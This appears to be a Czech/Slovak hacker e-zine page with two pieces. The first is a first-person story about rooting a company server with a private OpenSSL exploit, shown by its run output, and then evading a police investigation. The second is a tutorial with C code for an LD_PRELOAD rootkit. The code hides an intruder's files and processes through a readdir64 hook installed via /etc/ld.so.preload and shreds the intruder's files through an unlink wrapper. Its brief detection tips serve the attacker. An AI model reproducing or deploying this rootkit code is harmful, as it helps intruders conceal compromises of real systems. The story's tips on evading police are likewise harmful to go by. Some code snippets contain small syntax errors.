za devatero mesty, devatero nakupnimi stredisky, devatero dalnicnimi pohlcovaci hluku (ved hej, taketo veci podobne tej zdi v maticni, ved poznate) a devatero obytnymi ctvrtmi stal, nestal, rozpadal se ci nerozpadal nejlepsi vynalez z dob totality a betonove civilizace, osuntely panelak. byl to velice kvalitni panelak, stal tam jiz 18 let, stejne tak dlouho jak je na svete ten, o kom vam dnes budu vypravet.

a v tomto krasnem panelaku zil byl takovy maly clovicek. clovicek zil v klidu a miru v neustalem boji o udrzeni symbiozy s okolnim svetem, uspesne hazel problemy za hlavu a nic moc nikdy neresil dokud …

pi pi pi …. pi pi pi.

pipa mobil, prisla smska.

clovicek se zaposloucha aby urcil smer odkud zvukovy signal obdelnikoveho prubehu mohl zaznit a zhruba mohl odhadnout kde by mohl mobil lezet a ucinit tak spravny vypad a chopit se ho za vynalozeni co nejmensiho usili. telefon mam v ruce:

sms znela zhruba takto: “zdar CLOVICEK ve skole byli policajti, kdyz sli do sborovny tak tam odtud vysel tridni a at te sezenu tak sem mu rek ze nejsi ve skole. mozna chteli neco tobe”

to je spatny. doufam ze se fakt neschaneli po me.

do <&rt; takovou vostudu mi udelat ve skole! v ruce trimam obalku s modrym prouzkem (pro neznale – obsilka policie cr). predvolani k vyslechu.

“co jste delal dne ??.??. 2002 ?” rika ramenaty serzant XXX v uniforme. je opaleny ackoli venku je namraza a pada snich. bude mu asi tak neco k 30, ale jeho vek se da spatne odhadnout – sekac, rikam si, asi chodi ze stanice rovnou do posilky, pak do solarka a pak na diskoteku zbalit naky clueless kundicky. frajirek k pohledani. rozhoupal jsem se k odpovedi: “nevim, je to pulrok zpatky, to si uz nepamatuju – prominte, kdybych to tusil ze to chcete vedet, zavedu si denicek” povidam. po serzantove tvari preletl sadisticky usklebek, ale odveta se nekonala. tohle nebylo dobre. zda se ze nejsem svedek, ale podezrely, taky to tam mohli rovnou napsat. nu dobra, vtipkovat uz nebudu.

“dobre” povida serza, “slysel jste nekdy o firme FOOBAR?” … na to vem jed ze slysel, snazim se vypadat jako bych o tom nic nevedel: “ne.”

/*
 cca. pred pul rokem od data predchoziho deje:
sh-2.03# cat scanresults/1.2^16 | grep vuln
1.2.3.4: ssl vuln at port 995
sh-2.03# exp/priv/brm -h 1.2.3.4:995 -c 0 -o 0xbffffff0
openssl 0.9.6b remote (root) exploit
(c) 2002 CLOVICEK 
PRIVATE CODE! SPREAD/USER ONLY WITH AUTHOR'S PERMISSION.
Attacking 1.2.3.4:995 [1.2.3.4], offset=bffffff0, conncnt=0
Ja pata! The 1.2.3.4 _is_ vulnerable (nextchunk=0x08157fc8, cipher=0x406f90ac)
scanning from 0xbffffff0
#625 - trying 0xbffff62c (get server verify: Malformed packet size)
bug exploited sucessfuly.
enjoy!
Linux ns.FOOBAR.cz 2.4.19 #1 Wed Sep 15 18:02:18 CEST 2002 i686 unknown
uid=0(root) gid=0(root) groups=8(mail)
*/

tak a je to. chtel sem to – mam to mit. podcenil jsem legislativu v cechach, zatracene podcenil. vyslech pokracoval banalitami kdy jsem vymyslel pohadky do protokolu. nerikat nic a nebo uplne nesmysly se nevyplaci, s policii uz nejake zkusenosti mam a to bych se moch z fizlarny dostat domu klidne i druhej den. konec, mam se prej dostavit znova pristi tejden. vyjdu z fizlarny, zapnu mobil. asi za hodinu vola jeden kamos z univerzity.

“do pici co se to deje, dostal sem obsilku od policie k vyslechu, dneska rano sem tam byl a ptali se me na tebe a mely naky cernobily video z komp labaku kde sedis vzadu u kompu a ja kecam s adminem”

je to jasne, univerzita. postupne se mi stripky davaji dohromady jak se toho vseho asi mohli domaknout. toho dne kdy se behalo po FOOBAR jsem sedel na univerzite. zrejme tam udelaly nejaky halo.

“neptali se te kdo je ten clovek vzadu u pocitace, to jest ja, ze ne ?” “jo, jak to vis?” rika. “a ty jsi jim to rek?” … “jasne ze jo, ty vole dyk sou to policajti”

je to jasny. jasny jak facka. v tomto smeru asi nema moc cenu to zatloukat. jdu do inet kavarny, ta narozdil od univerzity stoji penize, ale za techto okolnosti… nelezu na irc, nectu regular mejly, nechci do toho zatahnout dalsi lidi. neexistuju. offline. pisu email znamymu jez ma co do cineni s internetem na univerzite, jestli nebyl nekdy v posledni dobe nejaky problem, nejakou chvili to potrva.

crrrrrrrrr. zvonek. pak ticho, jenom kroupy za oknem jako by se zblaznili, mlati do okenich skel v odpoved zvonku. tvori to docela cool duet.

crrrrrrrrr. a klepani na dvere.

jakej cur* v 11 vecer ? jeste sem si ani nepustil sve oblibene porno. vyhrabu se z postele, killnu mplayer s peckem, jdu otevrit.

dva fizlove.

“vase bydliste je predmetem domovni prohlidky.” o soudni rozhodnuti nemusim zadat, vyndal ho sam. co se dalo dale si pamatuju jen mlhave. zlej sen. asi jeste moc rozespalej, kamos rika ze porno otupuje, mozna ma pravdu, kazdopadne v tomhle pripade to nebylo vubec na skodu. vtrhli dovnitr, mama vyjevene vyleze z pokoje.

cvak. cvak.

mam pouta.

no toto. tohle je fakt cool. maj na to vubec pravo ? sem podelanej az za usima.

podle bordelu a smradu cigaret a otevrenych dveri jdou na jisto do meho pokoje, zbytek je nezajima.

postup odkoukany od warezaku ?

berou vsecko co vypada computeroidne, seriaky, napajeci snury, cdcka, diskety, ide kabely, takrka rozebranou 386ku obsahujici uz jenom motherboard a cpou to do pytlu jako by to byl sber surovin. ono taky jo, je to starej srot. a ted muj pocitac. stojim ve dverich pokoji, v ocich slzy. tohle je fakt drsny. kdyz vemou otevrenej case a znej vypadne cdromka a disketovka (nikdy nic v pocitaci neprisroubovavam) zacina ve me vrit krev. fizl se sklidni, napadlo ho pocitac nejdriv vodpojit vod zasufky pac chumac dratu mu pripadal nebezpecny kdyz hucely vetraky. aspon tak.

sou pryc, neni tu nic … ale … jake stesti ze jsem mel v pocitaci jenom 3gb disk s pornem a mp3 (kompletne sifrovanym, btw), abych mel u ceho usnout, protoze ATA100 kabel mel z<&rt; druhou zasuvku (znate to, sou hrozne krehky a ja zastavam nazor ze ked je to hardware, zaslouzi to hrube zachazeni – ved preto asi hard, nie ?), takze muj main 40gb disk byl bezpecne odpojen a hozen pod posteli (kde je neskutecnej binec papiru, kelimku a vseho a uspesne to tam hnije takze se neodvazili tam ani sahnout) abych ho pri sve namesicnosti v noci nerozslap.

kua tak to sem mel fakt kliku. z toho 3gb disku rozsifrujou velky prd pokud vubec budou sto namountovat XFS partisnu *g*

panove, priste si vemte rukavice!

je to dobry, aspon me nesebrali, asi jeste nevi presne za co by mohli.

/* * od tohoto dne, at vyrazim kamkoliv si ssebou beru do baglu disk vedle mobilu, * walkmana, matroshe a tak. doporucuju tez kapsace, sou presne delany na harddisky. */

odpovedi na email sem se dobral druhy den, apaticky chroupajice gumove medvidky v teze kavarne jako vcera (komunikace byla slozitejsi, mobil nepouzivam. maily sli pres jineho clovicka, tohle je jen nepresna reprodukce):

Date: XXX, XX XXX 2002 18:09:37 +0200
From: censored 
To: CLOVICEK@blah
Subject: Re: zdravicko

hi,

mno, bylo tady z rektoratu varovani ze tu mame nejakyho hackera ci co a ze jim mame podat pisemnou informaci kdo se konektil na 1.2.3.4 dne ??.??. 2002, v proxy tam bylo par pristupu na web z jednoho pocitace na fakulte XYZ.

mno tak to by jsme meli. univerzita ma asi squid cache, obdivuhodne.

sem v drsne depresi. medvidky nabiram po hrstech a rovnou uz je polykam. neschopen cokoliv delat. beru klavesnici do klina, horecne uvazuju: maji dukaz, zatracene dobrej dukaz, ze stacil i na prohlidku, i kdyz jinak je imho neprukaznej – na koukani se na www neni nic spatneho, na druhou stranu sem nemazal www logy.

v kavarne se nahulvata prihlasim na redirektor.

sh-2.03# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4): 56 data bytes
^C
--- 1.2.3.4 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss

argh! nejspis tu masinu vytrhli z ethernetu a mrknul se na to nekdo kdo tomu nejspis rozumi, i kdyz pravda prepisovat rucne /var/log/apache do Wordu musi bejt dost otrava. (protoze nevi jak to z ty “modry obrazovky” (F3-view v MC 🙂 na tom serveru do toho dokumentu jinak dostat 🙂

je mi jasne ze pristi tyden na policii by mohl byt o dost drsnejsi, mozna i cela predbeznyho zadrzeni, pote co vyslechnou vsechny my znamy, nejspis mi mozna i napichli mobil, nastesti vetsina tech hovoru jsou neskodne, po mobilu se zadny spatnosti resit nemaji, napadlo me jestli slyseli muj rozhovor s “kamosem z univerzity”, donuti je to jednat v ramci “ochrany” svedku (tj. zamezeni ovlivnovani svedku ci co)

musim bejt rychlejsi jinak sem v pruseru.

googluju firmu FOOBAR, protoze jejich web – je jak sem jiz zjistil pingem – down. z cache se dovidam kontakty a jadro pudla – sidli ve stejnem meste kde bydlim. no co, aspon nemusim nikam jezdit.

stojim pred zvonkama. maj fakt fasa zvonky na to jakyho maj lame admina. takovy ty kulaty, cetlicky ve slide. kua, proc ja nemam taky takovy zvonky.

najdu FOOBAR, slovo FOOBAR jiz mam vryte do fotograficke pameti a jak ho vidim, nemusim ani uvazovat nad skladanim jednotlivych slabik, ale vzdy mi nevyhnutelne pripomene co znamena.

muze, ackoli zrejme nechtene, zruinovat muj zivot.

zvonim na ten zatracene fasa zvonek.

“firma FOOBAR, prosim ?” “dobry den, ja jsem CLOVICEK, mohl bych navstivit pana SOMENAME? Mam tady nutnou zalezitost ohledne vaseho internetoveho pripojeni, sdelte mu to prosim. dekuji moc.” zasveholim co nejdetinstejsim a nejroztomilejsim hlasem, kteremu se da jen tezko odmitnout.

bzzzzzzzzzz.

nasleduju ceduli, dupu po schodech, knedlik v krku. to co nyni delam je sileny. mam chut to obratit, nekam utect, ale uz je pozde – jsem ohlaseny. je to docela mala firmicka, zabyvajici se vecma naprosto s internetem nesouvisejicima. reditel je mladej, v kapsacich a brichem. “mas barak, auto, hezkou zenu, mozna i dite a po praci jdes s kolegama na paintball” kalkuluju v duchu. sedime v kanclu, s usmevem na tvari zakryvajice muj roztreseny hlas a depresi vykladam mu celou tuhle historii.

mel jsem stesti, zatracene stesti.

cele to bylo o tom ze v danem podniku byl nekdo az prehnane aktivni a kdyz admin ohlasil ze jsou hacked, odvodil z toho ze to je konkurence a chce jim ukrast databazi zakazniku (ktera mimochodem na tom serveru ani nebyla) a na celou vec se najala naka security company. podal sem mu to tak, ze to byla jen cista nahoda a s jeho firmou to nema co do cineni a kdyby se ukazalo ze kecam tak neni problem pokracovat v “trestnim oznameni na neznameho pachatele” jez podala “profesionalni security firma” jez je velice zbehla v klikani ve wordu a mc ale jinak ma asi nejake zajimave znamosti.

finito. happy end. fizlove otravovali jeste chvili, ale na sefika sem asi udelal dojem, nevim jak to zaridil …

inu, a jaka je pointa celeho tohoto ?

policie je neskodna, “security firmy nikoliv”. policie jedna jen kdyz ji nekdo hodi neco na stul a busi do stolu dokavad si to nevyboucha. nepouziva elektronicke postupy, ale psychologicky natlak, sbira dukazy do nejposlednejsiho detailu a az pote uderi. sranda srandouci. jo, kde jsi dastychu, kde jsi, ty jsi mi byl *daleko* sympatictejsi …

ponauceni dnesni bajky ? ackoli to dobre dopadlo mam problemy ve skole a musel sem zaplatit pokutu za prestupek na ktery se to nakonec ututlalo:

vyvaruj se masovemu hackovani (=lack of opatrnost)! alespon ve state kde zijes, o to vic v miste kde bydlis, chces-li se vyhnout vysoce riskantnimu a zbytecnemu precedensu.

vetrak nepravidelne huci, protoze je vykuchanej ze zdroje a na tvrdo prilepenej chemoprenem k chladici procesoru – to si to vedle postele funi muj novej streetbox slatanej ze vseho moznyho co dum/kamosi dal. chudak, ani jeste nema case, nu co, aspon fizlove priste neuvidi “pocitac” a pujdou o dum dal. disk spokojene bruci jak do nej linuxik bezohledne sype swapovany pejdze. ted zabrucel o neco vic protoze sem ulozil tenhle text.

pocitac a muj hardware sem jeste nevidel, nevim jestli jeste vubec nekdy. zatracene, a porno abych stahoval znova.

o cele kauze jsem par mesicu nerek nikomu ani slovo, lepsi kdyz pred podavanim nechame trosku vychladnout …

ach jaj, mam pocitace rad, a ve vezeni zadny nejsou. nezapominej na to!


anonym

navrat na obsah
co ty na to ? board




Rootkit zalozeny na preload.

Chceli by ste mat kontrolu nad velkym poctom unixovych utilit bez pracneho patchovania kazdeho jedneho zdrojaku? Zda sa vam robit lkm prilis zlozite?! Ak ste na obidve otazky odpovedali kladne tak pravdepodobne je tento clanok pre vas! Existuje jedna,jednoduchsia cesta a tou je funkcia ktora sa nazyva preload.Cez preload mozme donutit akekolvek programy ktore splnaju nizsie uvedene podmienky aby robili veci ktore chceme my! Takze…o co ide?

1. Teoria;

Vzhladom na to ze preload je kniznicna zalezitost skusme si zopar veci vysvetlit ako funguju.Na zaciatok zopar pojmov:

.plt - procedure linkage table - je to v podstate redirektor ktory
                                presmeruvava kniznicne volania
.got - global offset table - pomaha hladat absolutne adresy ;)

Funkcie z pohladu adries by sme mohli rozdelit na dva typy: – tie na ktore sa odkazujeme absolutnymi adresami – tie pri ktorych pouzivame na ich urcenie sekciu .plt,.got a offset

Nas zaujima ten druhy typ.Vzhladom na to ze adresy v knizniciach nemozu byt absolutne pretoze kniznica je zdielana roznymi procesmi ktore ju mozu mat namapovanu na rozne adresy musi byt pouzity PIC kod.PIC znamena Position independent code tj taky kod ktory nie je zavisli na absolutnej adrese pricom ak je nejaku adresu treba tak sa vypocita.V tomto pripade ma register %ebx ulohu uchovavat adresu GOT takze ak pisete PIC kod v asm tak vam komilator ani %ebx nedovoli pouzit.Skusme teda sledovat ako prebieha volanie takejto funkcie a vobec vsetko pochopit. Nasa modelova situacia vyzera takto:

        printf("Hello world!n");

1. Na zasobnik sa ulozi adresa stringu 2. Funkcia call skace do sekcie .plt do “entry” funkcie printf. 3. Na miesto kam sme skocili to vyzera takto:

         8048380: jmp    *0x80495e8
/*       pricom hodnota na (0x80495e8) sa uz nachadza v GOT a v nasom
         pripade ma hodnotu 0x8048386 */
         8048386: push   $0x20                  /* tu sa uklada offset */
         804838b: jmp    8048330                /* skaceme na prvu entry v
                                                .plt */
zaciatok .plt:
         8048330: pushl  *0x80495d0 (400161E8)  /* adresa GOT+4 */
         8048336: jmp    *0x80495d4             /* predame riadenie dynamickemu
                                                linkeru ten preda riadenie
                                                printf() */
         ...
         4000AFD3:  mov edx, dword [esp+0x10]   /* edx == 0x20 */
         4000AFD7:  mov eax, dword [esp+0xc]    /* eax == 0x400161E8 */
         4000AFDB:  call near +0xfffffd84       /* skaceme na 0x4000ad5f */
         ...

A do eax nam to vypluje adresu printf() ktora je 0x40074178 pretoze libc je namapovana do oblasti 4001a000-4013b000 (cat /proc//maps). Pricom adresa printf() v libc je 0x5a178.Scitanim 0x4001a000 a 0x5a178 dostavame adresu printf();

poznamka: v pripade ze .plt bude PIC tak sa namiesto absolutnej adresy pouzije relativne adresovanie vzhladom na hodnotu v registri %ebx.

Dobre,vieme teda co sa deje pri spusteni funkcie ,ale k uplnemu pochopeniu budeme potrebovat vediet co sa deje pri spusteni programu.Este pred tym nez sa preda riadenie programu vykona sa mnozstvo veci. Z pohladu kniznic sa deje toto:

1. vytvori sa obraz binarky v pameti 2. vytvoria sa pametove segmenty pre zdielane kniznice 3. realokacia binarky a zdielanych objektov 4. preda riadenie programu

Preload funguje tak ze sa nasa kniznica natiahne po kroku 1. a este pred krokom 2.Cim dosiahneme to ze sa nasa kniznica pouzije este pred vsetkymi ostatnymi kniznicami.Cely tento proces je velmi komplikovany a nie je ucelom tohto clanku ho riesit.Pre nas je skor dolezite vediet ze pri preloade sa pouzije nasa funkcia v printf() v preload kniznici co ma za nasledok asi to ze sa vykona ona a nie ta v libc.

Podmienky: 1. Program sa musi odkazovat na danu funkciu do kniznice 2. Program _nesmie_ byt staticky linkovany 3. V pripade ze program je suid tak aj preload libka musi byt suid (co uz moze byt napadne ale nikto nevravi ze nemozte prekabatit find :))

2. Prax;

Pri robeni takychto kniznic je prakticky povinnostou pouzivat funkciu ktora nam vrati adresu symbolu ktory dostane ako argument. V nasom pripade sa vola getaddr.Mala by vyzerat zhruba nejak takto:

void *getaddr(char *symbol)
{
        void *ret;
        if ((ret = dlsym(RTLD_NEXT, symbol) == NULL) {
                fprintf(stderr, "dlsym %s error:%sn", symbol,
                        dlerror());
                        _exit(1);
        }
        return ret;
}

Mozno sa pytate ako mozme pouzivat dlsym bez toho aby sme pouzili pred nim niekde dlopen() odpoved je ze nemusime.Totizto argument RTLD_NEXT znamena ze symboly bude vyhladavat v kniznicach ktore sa natiahnu az po nas.Co je vyhoda a zaroven aj celkom portabilne.

Nasledne si vyhliadneme dany program,povedzme ze /bin/ls pretoze chceme skryvat nase subory na disku.Zaujimaju nas dynamicke symboly (teda tie ktore sa dynamicky linkuju).

# nm -D /bin/ls|grep readdir
         U readdir64

Aha! Vidime ze ls pouziva funkciu readdir64().Pozrieme si jej definiciu, a nasledne vypotime nieco co moze vyzerat aj takto:

struct dirent64 *readdir64(DIR * dp)
{
        struct dirent64 *(*real_readdir) (DIR *);
        struct dirent64 *ent;
        struct stat sbuf;
        fchdir(dirfd(dp));
        real_readdir = (struct dirent64 * (*)(DIR *)) getaddr("readdir64");
        while ((ent = real_readdir(dp)) != NULL) {
                      stat(ent->d_name, &sbuf;);
                      if (sbuf.st_gid != GID)
                                break;
        }
        return ent;
}

Kazdy jeden subor alebo adresar ktory ma grupu GID bude jednoducho ignorovat. Tymto sposobom mozme v pohode ukryvat aj procesy pretoze dany pid ma v /proc definovaneho vlastnika i grupu.Ako to vyzera v praxi:

[root@hafix root]# ls -l /proc|grep jookie
dr-xr-xr-x    3 jookie   h4x0r           0 apr  7 19:28 3287
[jookie@hafix jookie]$ id
uid=103(jookie) gid=666 skupiny=666
[root@hafix root]# ps xau|grep jookie
jookie    3287  0.0  4.0  2284 1256 tty7     S    19:22   0:00 -sh

Po instalacii kniznice uzivatelom jookie do /etc/ld.so.preload (aby to fungovalo globalne).Bude to vyzerat takto.

[root@hafix preload]# ps xau|grep jookie
root      3315  0.0  1.2  1404  396 tty6     R    19:26   0:00 grep jookie
[root@hafix preload]# ls -l /home|grep jookie
[root@hafix preload]#

Takto prekabatime vacsinu programov.Treba si vzdy overit ktoru funkciu pouziva pretoze taky vim pouziva readdir().

V 99% pripadoch bude nutne robit veci pri spustani/vypinani programu. Takyto handler moze sa bud spustat pri zavadzani kniznice do pamete (constructor) alebo ruseni z pamete (destructor).Funkcie takto definovane nesmu brat argumenty a musia byt definovane ako void.Napriklad:

void inito(void) __attribute__((constructor));
void finito(void) __attribute__((destructor));

{con,de}structor uz mame definovany ale s tym este vela nenarobime uzitku:). Treba urobit este wrappre funkcii. Vyhladame si funkciu z kniznice ktoru mame zaujem “obalit”. V nasej kniznici si ju definujeme rovnako, urobime evil cinnost a musime (v podstate nemusime,zavisi od toho co robime) zavolat povodnu funkciu.Na to mame uz spominanu getaddr() ktora nam vrati adresu symbolu ktory je v tomto pripade printf :).

int printf(const char *format,...)
{
        int (*printf_old)(const char *format,...);
        printf_old = (int (*)(const char *format,...)) getaddr("printf");
        printf_old("Hello World!n");
        return 13;
}

Nerobi to nic ine len zaplni obrazovku vetou “Hello Worldn” vsade tam kde sa vola funkcia printf().Takymto stylom robime wrappre pre vsetky funkcie ktore potrebujeme.Za istych okolnosti sa daju dokonca wrappovat syscally ale to len za predpokladu ze program sa bude na dany syscall odkazovat cez libku.Vsade tam kde sa to riesi priamo cez int 0x80 to fungovat nebude.

Samozrejme tieto wrappre nemusia robit len maskovaciu cinnost,mozu napriklad robit veci vhodne pre utocnika ako je zachovavanie time access attributov, secure delete alebo povedzme odchytavanie logov cez syslog(3).

int unlink(const char *pathname)
{
        int fd, i;
        char *over;
        struct stat sbuf;
        int (*real_unlink) (const char *);
                if(getgid() == GID && stat(pathname,&sbuf;) != -1) {
                               over = (char *) malloc(sbuf.st_size);
                               fd = open("/dev/urandom", O_RDONLY);
                               read(fd, over, sbuf.st_size);
                               close(fd);
                               fd = open(pathname, O_WRONLY);
                               for (i = 25; i > 0; i--) {
                               write(fd, over, sbuf.st_size);
                               fsync(fd);
                }
        close(fd);
        free(over);
        }
        real_unlink = (int (*)(const char *)) getaddr("unlink");
        return real_unlink(pathname);
}

Aj takto moze vyzerat secure delete verzia unlink() :).Ako mozte vidiet implementacia kazdeho wrappra je silne indiviualna zalezitost a zalezi od potrieb konkretneho jedinca :).

Alebo taka myslienka…co tak menit chovanie preload libky podla toho aka je argv[0]? To by mohlo byt este zaujimavejsie;)

A ako by sa dala prezradit pritomnost tohto typu rootkitu? Staci dat prakticky na akukolvek binarku ldd.Ta poslusne vypise ze s kym vsetkym je zlinkovana…mozno ked date nasej preload libke nejaky brutalne systemovy nazov ze si to nikto nevsimne.ldd vola /lib/ld-linux.so.2 ktory odkazuje na aktualny dynamicky linker ktory je skompilovany staticky.Riesit sa to da nejakym vhodnym grepom do ldd alebo patchnutim ld-linux.so.2 . Potom tu mame este /proc//maps takze aj tu zalezi ze ako;). Ked robime strace tak medzi prvymi riadkami sa nam tiez prejavi jej pritomnost.

3. A na zaver..

Samozrejme kto chce 100% utajenie pouzije lkm;).Je to akysi medzistupen medzi patchovanim systemovych utilit a sprtania sa v jadre.


v92, v92(at)hysteria.sk

navrat na obsah
co ty na to ? board